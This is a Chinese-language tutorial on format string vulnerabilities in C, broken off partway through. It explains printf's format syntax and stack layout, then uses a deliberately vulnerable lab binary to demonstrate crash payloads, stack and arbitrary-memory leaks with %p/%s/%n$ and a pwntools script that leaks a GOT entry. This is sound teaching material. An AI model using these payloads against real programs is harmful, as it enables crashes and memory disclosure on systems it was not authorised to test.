原理

格式化字符串函数

常见的有格式化字符串函数有:

输入:

  • scanf

输出:

函数 基本介绍
printf 输出到stdout
fprintf 输出到指定FILE流
vprintf 根据参数列表格式化输出到 stdout
vfprintf 根据参数列表格式化输出到指定FILE流
sprintf 输出到字符串
snprintf 输出指定字节数到字符串
vsprintf 根据参数列表格式化输出到字符串
vsnprintf 根据参数列表格式化输出指定字节到字符串
setproctitle 设置argv
syslog 输出日志
err, verr, warn, vwarn等 。。。

格式化字符串格式

其基本格式如下:

1
%[parameter][flags][field width][.precision][length]type
  • parameter
    • n$,获取格式化字符串中的指定参数
  • flag
  • field width
    • 输出的最小宽度
  • precision
    • 输出的最大长度
  • length,输出的长度
    • hh,输出一个字节
    • h,输出一个双字节
  • type
    • d/i,有符号整数
    • u,无符号整数
    • x/X,16 进制 unsigned int 。x 使用小写字母;X 使用大写字母。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
    • o,8进制 unsigned int 。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
    • s,如果没有用l标志,输出 null 结尾字符串直到精度规定的上限;如果没有指定精度,则输出所有字节。如果用了l标志,则对应函数参数指向 wchar_t 型的数组,输出时把每个宽字符转化为多字节字符,相当于调用 wcrtomb 函数。
    • c,如果没有用 l 标志,把 int 参数转为 unsigned char 型输出;如果用了 l 标志,把 wint_t 参数转为包含两个元素的 wchart_t 数组,其中第一个元素包含要输出的字符,第二个元素为 null 宽字符。
    • p, void * 型,输出对应变量的值。printf(“%p”, a) 用地址的格式打印变量a的值,printf(“%p”, &a) 打印变量 a 所在的地址。
    • n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
    • %, ‘%‘ 字面值,不接受任何 flags, width。

漏洞原理

printf

如上图,在进入 printf 函数的之前(即还没有调用 printf),栈上的布局由高地址到低地址依次如下:

1
2
3
4
5
some value
3.14
123456
addr of "red"
addr of format string: Color %s...

在进入printf之后,函数首先获取第一个参数,一个一个读取其字符会遇到两种情况

  • 当前字符不是%,直接输出到相应标准输出。
  • 当前字符是%, 继续读取下一个字符
    • 如果没有字符,报错
    • 如果下一个字符是%,输出%
    • 否则根据相应的字符,获取相应的参数,对其进行解析并输出

那么假设,此时我们在编写程序时候,写成了下面的样子:

1
printf("Color %s, Number %d, Float %4.2f");

此时我们可以发现我们并没有提供参数,那么程序会如何运行呢?程序照样会运行,会将栈上存储格式化字符串地址上面的三个变量分别解析为:

  1. 解析其地址对应的字符串
  2. 解析其内容对应的整形值
  3. 解析其内容对应的浮点值

对于 2,3 来说倒还无妨,但是对于对于 1 来说,如果提供了一个不可访问地址,比如 0,那么程序就会因此而崩溃。

利用

程序崩溃

通常来说,利用格式化字符串漏洞使得程序崩溃是最为简单的利用方式,因为我们只需要输入若干个 %s 即可。

1
%s%s%s%s%s%s%s%s%s%s%s%s%s%s

这是因为栈上不可能每个值都对应了合法的地址,所以总是会有某个地址可以使得程序崩溃。这一利用,虽然攻击者本身似乎并不能控制程序,但是这样却可以造成程序不可用。比如说,如果远程服务有一个格式化字符串漏洞,那么我们就可以攻击其可用性,使服务崩溃,进而使得用户不能够访问。

泄露内存

利用格式化字符串漏洞,我们还可以获取我们所想要输出的内容。一般会有如下几种操作

  • 泄露栈内存
    • 获取某个变量的值
    • 获取某个变量对应地址的内存
  • 泄露任意地址内存
    • 利用 GOT 表得到 libc 函数地址,进而获取 libc,进而获取其它 libc 函数地址
    • 盲打,dump 整个程序,获取有用信息。

泄露栈内存

例子如下:

1
2
3
4
5
6
7
8
9
#include <stdio.h>
int main() {
char s[100];
int a = 1, b = 0x22222222, c = -1;
scanf("%s", s);
printf("%08x.%08x.%08x.%s\n", a, b, c, s);
printf(s);
return 0;
}

编译:

1
2
3
4
5
bi0x@ubuntu:~/桌面/pwn/fmtstr$ gcc -m32 -fno-stack-protector -no-pie -o leakmemory leakmemory.c
leakmemory.c: In function ‘main’:
leakmemory.c:7:10: warning: format not a string literal and no format arguments [-Wformat-security]
printf(s);
^

根据C语言的调用规则,格式化字符串函数会根据格式化字符串直接使用栈上自顶向上的变量作为其参数(64位会根据其传参的规则进行获取)。

获取栈变量数值

首先,我们可以利用格式化字符串来获取栈上变量的数值。我们可以试一下,运行结果如下:

1
2
3
4
bi0x@ubuntu:~/桌面/pwn/fmtstr$ ./leakmemory
%08x.%08x.%08x
00000001.22222222.ffffffff.%08x.%08x.%08x
ff841880.f7ed6410.0804849dbi0x@ubuntu:~/桌面/pwn/fmtstr$

gdb 调试:

1
2
3
4
5
gdb-peda$ b printf
Breakpoint 1 at 0x8048330
gdb-peda$ r
Starting program: /home/bi0x/桌面/pwn/fmtstr/leakmemory
%08x.%08x.%08x
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
[----------------------------------registers-----------------------------------]
EAX: 0x8048593 ("%08x.%08x.%08x.%s\n")
EBX: 0x804a000 --> 0x8049f14 --> 0x1
ECX: 0x1
EDX: 0xf7fb689c --> 0x0
ESI: 0xf7fb5000 --> 0x1d7d6c
EDI: 0x0
EBP: 0xffffd0f8 --> 0x0
ESP: 0xffffd05c --> 0x80484ea (<main+100>: add esp,0x20)
EIP: 0xf7e2e3a0 (<__printf>: call 0xf7f145d9 <__x86.get_pc_thunk.ax>)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xf7e2e39b <__fprintf+27>: ret
0xf7e2e39c: xchg ax,ax
0xf7e2e39e: xchg ax,ax
=> 0xf7e2e3a0 <__printf>: call 0xf7f145d9 <__x86.get_pc_thunk.ax>
0xf7e2e3a5 <__printf+5>: add eax,0x186c5b
0xf7e2e3aa <__printf+10>: sub esp,0xc
0xf7e2e3ad <__printf+13>: mov eax,DWORD PTR [eax-0x7c]
0xf7e2e3b3 <__printf+19>: lea edx,[esp+0x14]
No argument
[------------------------------------stack-------------------------------------]
0000| 0xffffd05c --> 0x80484ea (<main+100>: add esp,0x20)
0004| 0xffffd060 --> 0x8048593 ("%08x.%08x.%08x.%s\n")
0008| 0xffffd064 --> 0x1
0012| 0xffffd068 ("\"\"\"\"\377\377\377\377\200\320\377\377\200\320\377\377\020\004\375\367\235\204\004\b%08x.%08x.%08x")
0016| 0xffffd06c --> 0xffffffff
0020| 0xffffd070 --> 0xffffd080 ("%08x.%08x.%08x")
0024| 0xffffd074 --> 0xffffd080 ("%08x.%08x.%08x")
0028| 0xffffd078 --> 0xf7fd0410 --> 0x8048278 ("GLIBC_2.0")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, __printf (format=0x8048593 "%08x.%08x.%08x.%s\n") at printf.c:28
28 printf.c: 没有那个文件或目录.

可以看出,此时此时已经进入了 printf 函数中,栈中第一个变量为返回地址,第二个变量为格式化字符串的地址,第三个变量为 a 的值,第四个变量为 b 的值,第五个变量为 c 的值,第六个变量为我们输入的格式化字符串对应的地址。继续运行程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
[----------------------------------registers-----------------------------------]
EAX: 0x8048593 ("%08x.%08x.%08x.%s\n")
EBX: 0x804a000 --> 0x8049f14 --> 0x1
ECX: 0x1
EDX: 0xf7fb689c --> 0x0
ESI: 0xf7fb5000 --> 0x1d7d6c
EDI: 0x0
EBP: 0xffffd0f8 --> 0x0
ESP: 0xffffd05c --> 0x80484ea (<main+100>: add esp,0x20)
EIP: 0xf7e2e3a0 (<__printf>: call 0xf7f145d9 <__x86.get_pc_thunk.ax>)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xf7e2e39b <__fprintf+27>: ret
0xf7e2e39c: xchg ax,ax
0xf7e2e39e: xchg ax,ax
=> 0xf7e2e3a0 <__printf>: call 0xf7f145d9 <__x86.get_pc_thunk.ax>
0xf7e2e3a5 <__printf+5>: add eax,0x186c5b
0xf7e2e3aa <__printf+10>: sub esp,0xc
0xf7e2e3ad <__printf+13>: mov eax,DWORD PTR [eax-0x7c]
0xf7e2e3b3 <__printf+19>: lea edx,[esp+0x14]
No argument
[------------------------------------stack-------------------------------------]
0000| 0xffffd05c --> 0x80484ea (<main+100>: add esp,0x20)
0004| 0xffffd060 --> 0x8048593 ("%08x.%08x.%08x.%s\n")
0008| 0xffffd064 --> 0x1
0012| 0xffffd068 ("\"\"\"\"\377\377\377\377\200\320\377\377\200\320\377\377\020\004\375\367\235\204\004\b%08x.%08x.%08x")
0016| 0xffffd06c --> 0xffffffff
[----------------------------------registers-----------------------------------]
EAX: 0xffffd080 ("%08x.%08x.%08x")
EBX: 0x804a000 --> 0x8049f14 --> 0x1
ECX: 0x0
EDX: 0xf7fb6890 --> 0x0
ESI: 0xf7fb5000 --> 0x1d7d6c
EDI: 0x0
EBP: 0xffffd0f8 --> 0x0
ESP: 0xffffd06c --> 0x80484f9 (<main+115>: add esp,0x10)
EIP: 0xf7e2e3a0 (<__printf>: call 0xf7f145d9 <__x86.get_pc_thunk.ax>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xf7e2e39b <__fprintf+27>: ret
0xf7e2e39c: xchg ax,ax
0xf7e2e39e: xchg ax,ax
=> 0xf7e2e3a0 <__printf>: call 0xf7f145d9 <__x86.get_pc_thunk.ax>
0xf7e2e3a5 <__printf+5>: add eax,0x186c5b
0xf7e2e3aa <__printf+10>: sub esp,0xc
0xf7e2e3ad <__printf+13>: mov eax,DWORD PTR [eax-0x7c]
0xf7e2e3b3 <__printf+19>: lea edx,[esp+0x14]
No argument
[------------------------------------stack-------------------------------------]
0000| 0xffffd06c --> 0x80484f9 (<main+115>: add esp,0x10)
0004| 0xffffd070 --> 0xffffd080 ("%08x.%08x.%08x")
0008| 0xffffd074 --> 0xffffd080 ("%08x.%08x.%08x")
0012| 0xffffd078 --> 0xf7fd0410 --> 0x8048278 ("GLIBC_2.0")
0016| 0xffffd07c --> 0x804849d (<main+23>: add ebx,0x1b63)
0020| 0xffffd080 ("%08x.%08x.%08x")
0024| 0xffffd084 (".%08x.%08x")
0028| 0xffffd088 ("x.%08x")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, __printf (format=0xffffd080 "%08x.%08x.%08x") at printf.c:28
28 in printf.c

此时,由于格式化字符串为 %x%x%x,所以,程序会将栈上的 0xffffd074 及其之后的数值分别作为第一,第二,第三个参数按照 int 型进行解析,分别输出。继续运行,我们可以得到如下结果去,确实和想象中的一样。

1
2
3
gdb-peda$ c
Continuing.
ffffd080.f7fd0410.0804849d[Inferior 1 (process 3526) exited normally]

这里需要注意的是,并不是每次得到的结果都一样 ,因为栈上的数据会因为每次分配的内存页不同而有所不同,这是因为栈是不对内存页做初始化的。

上面给出的方法,都是依次获得栈中的每个参数,但我们也可以直接获取栈中被视为第n+1个参数的值。方法如下:

1
%n$x

利用如下的字符串,我们就可以获取到对应的第 n + 1 个参数的数值。(因为格式化参数里面的 n 指的是该格式化字符串对应的第 n 个输出参数,那相对于输出函数来说,就是第 n + 1 个参数了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
gdb-peda$ b printf
Breakpoint 1 at 0x8048330
gdb-peda$ r
Starting program: /home/bi0x/桌面/pwn/fmtstr/leakmemory
%3$x

[----------------------------------registers-----------------------------------]
EAX: 0x8048593 ("%08x.%08x.%08x.%s\n")
EBX: 0x804a000 --> 0x8049f14 --> 0x1
ECX: 0x1
EDX: 0xf7fb689c --> 0x0
ESI: 0xf7fb5000 --> 0x1d7d6c
EDI: 0x0
EBP: 0xffffcf98 --> 0x0
ESP: 0xffffcefc --> 0x80484ea (<main+100>: add esp,0x20)
EIP: 0xf7e2e3a0 (<__printf>: call 0xf7f145d9 <__x86.get_pc_thunk.ax>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xf7e2e39b <__fprintf+27>: ret
0xf7e2e39c: xchg ax,ax
0xf7e2e39e: xchg ax,ax
=> 0xf7e2e3a0 <__printf>: call 0xf7f145d9 <__x86.get_pc_thunk.ax>
0xf7e2e3a5 <__printf+5>: add eax,0x186c5b
0xf7e2e3aa <__printf+10>: sub esp,0xc
0xf7e2e3ad <__printf+13>: mov eax,DWORD PTR [eax-0x7c]
0xf7e2e3b3 <__printf+19>: lea edx,[esp+0x14]
No argument
[------------------------------------stack-------------------------------------]
0000| 0xffffcefc --> 0x80484ea (<main+100>: add esp,0x20)
0004| 0xffffcf00 --> 0x8048593 ("%08x.%08x.%08x.%s\n")
0008| 0xffffcf04 --> 0x1
0012| 0xffffcf08 ("\"\"\"\"\377\377\377\377 \317\377\377 \317\377\377\020\004\375\367\235\204\004\b%3$x")
0016| 0xffffcf0c --> 0xffffffff
0020| 0xffffcf10 --> 0xffffcf20 ("%3$x")
0024| 0xffffcf14 --> 0xffffcf20 ("%3$x")
0028| 0xffffcf18 --> 0xf7fd0410 --> 0x8048278 ("GLIBC_2.0")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, __printf (format=0x8048593 "%08x.%08x.%08x.%s\n") at printf.c:28
28 printf.c: 没有那个文件或目录.
gdb-peda$ c
Continuing.
00000001.22222222.ffffffff.%3$x

[----------------------------------registers-----------------------------------]
EAX: 0xffffcf20 ("%3$x")
EBX: 0x804a000 --> 0x8049f14 --> 0x1
ECX: 0x0
EDX: 0xf7fb6890 --> 0x0
ESI: 0xf7fb5000 --> 0x1d7d6c
EDI: 0x0
EBP: 0xffffcf98 --> 0x0
ESP: 0xffffcf0c --> 0x80484f9 (<main+115>: add esp,0x10)
EIP: 0xf7e2e3a0 (<__printf>: call 0xf7f145d9 <__x86.get_pc_thunk.ax>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xf7e2e39b <__fprintf+27>: ret
0xf7e2e39c: xchg ax,ax
0xf7e2e39e: xchg ax,ax
=> 0xf7e2e3a0 <__printf>: call 0xf7f145d9 <__x86.get_pc_thunk.ax>
0xf7e2e3a5 <__printf+5>: add eax,0x186c5b
0xf7e2e3aa <__printf+10>: sub esp,0xc
0xf7e2e3ad <__printf+13>: mov eax,DWORD PTR [eax-0x7c]
0xf7e2e3b3 <__printf+19>: lea edx,[esp+0x14]
No argument
[------------------------------------stack-------------------------------------]
0000| 0xffffcf0c --> 0x80484f9 (<main+115>: add esp,0x10)
0004| 0xffffcf10 --> 0xffffcf20 ("%3$x")
0008| 0xffffcf14 --> 0xffffcf20 ("%3$x")
0012| 0xffffcf18 --> 0xf7fd0410 --> 0x8048278 ("GLIBC_2.0")
0016| 0xffffcf1c --> 0x804849d (<main+23>: add ebx,0x1b63)
0020| 0xffffcf20 ("%3$x")
0024| 0xffffcf24 --> 0x0
0028| 0xffffcf28 --> 0xf7ffd940 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, __printf (format=0xffffcf20 "%3$x") at printf.c:28
28 in printf.c
gdb-peda$ c
Continuing.
804849d[Inferior 1 (process 3571) exited normally]

可以看出,我们确实获得了printf的第4个参数所对应的值 804849d。

获取栈变量对应字符串

我们还可以获得栈变量对应的字符串,这其实就是需要用到%s了。这里还是使用上面的程序,进行gdb调试,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
gdb-peda$ b printf
Breakpoint 1 at 0x8048330
gdb-peda$ r
Starting program: /home/bi0x/桌面/pwn/fmtstr/leakmemory
%s

[----------------------------------registers-----------------------------------]
EAX: 0x8048593 ("%08x.%08x.%08x.%s\n")
EBX: 0x804a000 --> 0x8049f14 --> 0x1
ECX: 0x1
EDX: 0xf7fb689c --> 0x0
ESI: 0xf7fb5000 --> 0x1d7d6c
EDI: 0x0
EBP: 0xffffcf98 --> 0x0
ESP: 0xffffcefc --> 0x80484ea (<main+100>: add esp,0x20)
EIP: 0xf7e2e3a0 (<__printf>: call 0xf7f145d9 <__x86.get_pc_thunk.ax>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xf7e2e39b <__fprintf+27>: ret
0xf7e2e39c: xchg ax,ax
0xf7e2e39e: xchg ax,ax
=> 0xf7e2e3a0 <__printf>: call 0xf7f145d9 <__x86.get_pc_thunk.ax>
0xf7e2e3a5 <__printf+5>: add eax,0x186c5b
0xf7e2e3aa <__printf+10>: sub esp,0xc
0xf7e2e3ad <__printf+13>: mov eax,DWORD PTR [eax-0x7c]
0xf7e2e3b3 <__printf+19>: lea edx,[esp+0x14]
No argument
[------------------------------------stack-------------------------------------]
0000| 0xffffcefc --> 0x80484ea (<main+100>: add esp,0x20)
0004| 0xffffcf00 --> 0x8048593 ("%08x.%08x.%08x.%s\n")
0008| 0xffffcf04 --> 0x1
0012| 0xffffcf08 ("\"\"\"\"\377\377\377\377 \317\377\377 \317\377\377\020\004\375\367\235\204\004\b%s")
0016| 0xffffcf0c --> 0xffffffff
0020| 0xffffcf10 --> 0xffffcf20 --> 0x7325 ('%s')
0024| 0xffffcf14 --> 0xffffcf20 --> 0x7325 ('%s')
0028| 0xffffcf18 --> 0xf7fd0410 --> 0x8048278 ("GLIBC_2.0")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, __printf (format=0x8048593 "%08x.%08x.%08x.%s\n") at printf.c:28
28 printf.c: 没有那个文件或目录.
gdb-peda$ c
Continuing.
00000001.22222222.ffffffff.%s

[----------------------------------registers-----------------------------------]
EAX: 0xffffcf20 --> 0x7325 ('%s')
EBX: 0x804a000 --> 0x8049f14 --> 0x1
ECX: 0x0
EDX: 0xf7fb6890 --> 0x0
ESI: 0xf7fb5000 --> 0x1d7d6c
EDI: 0x0
EBP: 0xffffcf98 --> 0x0
ESP: 0xffffcf0c --> 0x80484f9 (<main+115>: add esp,0x10)
EIP: 0xf7e2e3a0 (<__printf>: call 0xf7f145d9 <__x86.get_pc_thunk.ax>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xf7e2e39b <__fprintf+27>: ret
0xf7e2e39c: xchg ax,ax
0xf7e2e39e: xchg ax,ax
=> 0xf7e2e3a0 <__printf>: call 0xf7f145d9 <__x86.get_pc_thunk.ax>
0xf7e2e3a5 <__printf+5>: add eax,0x186c5b
0xf7e2e3aa <__printf+10>: sub esp,0xc
0xf7e2e3ad <__printf+13>: mov eax,DWORD PTR [eax-0x7c]
0xf7e2e3b3 <__printf+19>: lea edx,[esp+0x14]
No argument
[------------------------------------stack-------------------------------------]
0000| 0xffffcf0c --> 0x80484f9 (<main+115>: add esp,0x10)
0004| 0xffffcf10 --> 0xffffcf20 --> 0x7325 ('%s')
0008| 0xffffcf14 --> 0xffffcf20 --> 0x7325 ('%s')
0012| 0xffffcf18 --> 0xf7fd0410 --> 0x8048278 ("GLIBC_2.0")
0016| 0xffffcf1c --> 0x804849d (<main+23>: add ebx,0x1b63)
0020| 0xffffcf20 --> 0x7325 ('%s')
0024| 0xffffcf24 --> 0x1
0028| 0xffffcf28 --> 0xf7ffd940 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, __printf (format=0xffffcf20 "%s") at printf.c:28
28 in printf.c
gdb-peda$ c
Continuing.
%s[Inferior 1 (process 3626) exited normally]

可以看出,在第二次执行 printf 函数的时候,确实是将 0xffffcf14 处的变量视为字符串变量,输出了其数值所对应的地址处的字符串。

当然,并不是所有这样的都会正常运行,如果对应的变量不能够被解析为字符串地址,那么,程序就会直接崩溃。

此外,我们也可以指定获取栈上第几个参数作为格式化字符串输出,比如我们指定 printf 的第 3 个参数,如下,此时程序就不能够解析,就崩溃了。

1
2
3
4
5
6
7
8
9
10
11
gdb-peda$ r
Starting program: /home/bi0x/桌面/pwn/fmtstr/leakmemory
%2$s

gdb-peda$ c
Continuing.
00000001.22222222.ffffffff.%2$s

gdb-peda$ c
Continuing.
[Inferior 1 (process 3655) exited normally]

总结

  1. 利用 %x 来获取对应栈的内存,但建议使用 %p,可以不用考虑位数的区别。
  2. 利用 %s 来获取变量所对应地址的内容,只不过有零截断。
  3. 利用 %order$x 来获取指定参数的值。
  4. 利用 %order$s 来获取指定参数对应地址的内容。

常用基本的格式化字符串参数介绍:

  • %c:输出字符,配上%n 可用于向指定地址写数据。
  • %d:输出十进制整数,配上 %n 可用于向指定地址写数据。
  • %x:输出16进制数据,如 %i$x 表示要泄漏偏移 i 处 4 字节长的 16 进制数据,%i$lx 表示要泄漏偏移 i 处 8 字节长的 16 进制数据,32bit 和 64bit 环境下一样。
  • %p:输出 16 进制数据,与 %x 基本一样,只是附加了前缀 0x,在 32bit 下输出 4 字节,在 64bit 下输出 8 字节,可通过输出字节的长度来判断目标环境是 32bit 还是 64bit。
  • %s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如 %i$s 表示输出偏移 i 处地址所指向的字符串,在 32bit 和 64bit 环境下一样,可用于读取 GOT 表等信息。
  • %n:将 %n 之前 printf 已经打印的字符个数赋值给偏移处指针所指向的地址位置,如 %100×10$n 表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而 %$hn 表示写入的地址空间为 2 字节,%$hhn 表示写入的地址空间为1字节,%$lln表示写入的地址空间为 8 字节,在 32bit 和 64bit 环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过 %$hn 或 %$hhn 来适时调整。
  • %n 是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合 %n 写数据。

泄露任意地址内存

在上面无论是泄露栈上连续的变量,还是说泄露指定的变量值,我们都没能完全控制我们所要泄露的变量的地址。这样的泄露固然有用,可是却不够强力有效。有时候,我们可能会想要泄露某一个libc函数的got表内容,从而得到其地址,进而获取libc版本以及其他函数的地址。

在格式化字符串漏洞中,我们所读取的格式化字符串都是在栈上的(因为是某个函数的局部变量,本例中s是main函数的局部变量)。那么也就是说,在调用输出函数的时候,其实,第一个参数的值其实就是该格式化字符串的地址。我们选择上面的某个函数调用为例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
Breakpoint 1, __printf (format=0x8048593 "%08x.%08x.%08x.%s\n") at printf.c:28
28 printf.c: 没有那个文件或目录.
gdb-peda$ c
Continuing.
00000001.22222222.ffffffff.%s

[----------------------------------registers-----------------------------------]
EAX: 0xffffcf20 --> 0x7325 ('%s')
EBX: 0x804a000 --> 0x8049f14 --> 0x1
ECX: 0x0
EDX: 0xf7fb6890 --> 0x0
ESI: 0xf7fb5000 --> 0x1d7d6c
EDI: 0x0
EBP: 0xffffcf98 --> 0x0
ESP: 0xffffcf0c --> 0x80484f9 (<main+115>: add esp,0x10)
EIP: 0xf7e2e3a0 (<__printf>: call 0xf7f145d9 <__x86.get_pc_thunk.ax>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xf7e2e39b <__fprintf+27>: ret
0xf7e2e39c: xchg ax,ax
0xf7e2e39e: xchg ax,ax
=> 0xf7e2e3a0 <__printf>: call 0xf7f145d9 <__x86.get_pc_thunk.ax>
0xf7e2e3a5 <__printf+5>: add eax,0x186c5b
0xf7e2e3aa <__printf+10>: sub esp,0xc
0xf7e2e3ad <__printf+13>: mov eax,DWORD PTR [eax-0x7c]
0xf7e2e3b3 <__printf+19>: lea edx,[esp+0x14]
No argument
[------------------------------------stack-------------------------------------]
0000| 0xffffcf0c --> 0x80484f9 (<main+115>: add esp,0x10)
0004| 0xffffcf10 --> 0xffffcf20 --> 0x7325 ('%s')
0008| 0xffffcf14 --> 0xffffcf20 --> 0x7325 ('%s')
0012| 0xffffcf18 --> 0xf7fd0410 --> 0x8048278 ("GLIBC_2.0")
0016| 0xffffcf1c --> 0x804849d (<main+23>: add ebx,0x1b63)
0020| 0xffffcf20 --> 0x7325 ('%s')
0024| 0xffffcf24 --> 0x1
0028| 0xffffcf28 --> 0xf7ffd940 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

可以看出在栈上的第二个变量就是我们的格式化字符串地址 0xffffcf20,同时该地址存储的也确实是是”%s”格式化字符串内容。

那么由于我们可以控制该格式化字符串,如果我们知道该格式化字符串在输出函数调用时是第几个参数,这里假设该格式化字符串相对函数调用为第 k 个参数。那我们就可以通过如下的方式来获取某个指定地址 addr 的内容。

1
addr%k$s

在这里,如果格式化字符串在栈上,那么我们就一定确定格式化字符串的相对偏移,这是因为在函数调用的时候栈指针至少低于格式化字符串地址 8 字节或者 16 字节。

下面就是如何确定该格式化字符串为第几个参数的问题了,我们可以通过如下方式确定

1
[tag]%p%p%p%p%p%p...

一般来说,我们会重复某个字符的机器字长来作为 tag,而后面会跟上若干个 %p 来输出栈上的内容,如果内容与我们前面的 tag 重复了,那么我们就可以有很大把握说明该地址就是格式化字符串的地址,之所以说是有很大把握,这是因为不排除栈上有一些临时变量也是该数值。一般情况下,极其少见,我们也可以更换其他字符进行尝试,进行再次确认。这里我们利用字符 ‘A’ 作为特定字符,同时还是利用之前编译好的程序,如下

1
2
3
4
bi0x@ubuntu:~/桌面/pwn/fmtstr$ ./leakmemory
AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
00000001.22222222.ffffffff.AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
AAAA0xff846ef00xf7fcd4100x804849d0x414141410x702570250x702570250x702570250x702570250x702570250x702570250x702570250x7025(nil)(nil)0xee0c9c00

由0x41414141处所在的位置可以看出我们的格式化字符串的起始地址正好是输出函数的第5个参数,但却是格式化字符串的第4个参数。我们可以来测试一下:

1
2
3
4
1bi0x@ubuntu:~/桌面/pwn/fmtstr$ ./leakmemory
%4$s
00000001.22222222.ffffffff.%4$s
段错误 (核心已转储)

我们的程序崩溃了,为什么呢?这是因为我们试图将该格式化字符串所对应的值作为地址进行解析,但是显然该值没有办法作为一个合法的地址被解析,所以程序就崩溃了。

那么如果我们设置一个可访问的地址呢?比如说scanf@got,结果会怎么样呢?应该自然是输出scanf对应的地址了。我们不妨来试一下。

首先,获取scanf@got的地址,如下:

1
2
3
4
5
6
7
8
9
10
gdb-peda$ got

/home/bi0x/桌面/pwn/fmtstr/leakmemory: 文件格式 elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ffc R_386_GLOB_DAT __gmon_start__
0804a00c R_386_JUMP_SLOT printf@GLIBC_2.0
0804a010 R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0
0804a014 R_386_JUMP_SLOT __isoc99_scanf@GLIBC_2.7

下面我们利用 pwntools 构造 payload 如下:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
sh = process('./leakmemory')
leakmemory = ELF('./leakmemory')
__isoc99_scanf_got = leakmemory.got['__isoc99_scanf']
print hex(__isoc99_scanf_got)
payload = p32(__isoc99_scanf_got) + '%4$s'
print payload
gdb.attach(sh)
sh.sendline(payload)
sh.recvuntil('%4$s\n')
print hex(u32(sh.recv()[4:8])) # remove the first bytes of __isoc99_scanf@got
sh.interactive()

运行程序进行 gdb 调试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[-------------------------------------code-------------------------------------]
0xf7fb9b53 <__kernel_vsyscall+3>: mov ebp,esp
0xf7fb9b55 <__kernel_vsyscall+5>: sysenter
0xf7fb9b57 <__kernel_vsyscall+7>: int 0x80
=> 0xf7fb9b59 <__kernel_vsyscall+9>: pop ebp
0xf7fb9b5a <__kernel_vsyscall+10>: pop edx
0xf7fb9b5b <__kernel_vsyscall+11>: pop ecx
0xf7fb9b5c <__kernel_vsyscall+12>: ret
0xf7fb9b5d: nop
[------------------------------------stack-------------------------------------]
0000| 0xffa73490 --> 0xffa734f8 --> 0xffa73b48 --> 0xffa73b88 --> 0xffa73c18 --> 0x0
0004| 0xffa73494 --> 0x1000
0008| 0xffa73498 --> 0x8aff160 --> 0x0
0012| 0xffa7349c --> 0xf7ea7df7 (<__GI___libc_read+39>: cmp eax,0xfffff000)
0016| 0xffa734a0 --> 0x3
0020| 0xffa734a4 --> 0x0
0024| 0xffa734a8 --> 0xf7e35289 (<__GI__IO_doallocbuf+9>: add ebx,0x163d77)
0028| 0xffa734ac --> 0xf7f995c0 --> 0xfbad2088
[------------------------------------------------------------------------------]

同时,在我们运行的终端如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
bi0x@ubuntu:~/桌面/pwn/fmtstr$ python exp1.py
[+] Starting local process './leakmemory': pid 3797
[*] '/home/bi0x/\xe6\xa1\x8c\xe9\x9d\xa2/pwn/fmtstr/leakmemory'
Arch: i386-32-little
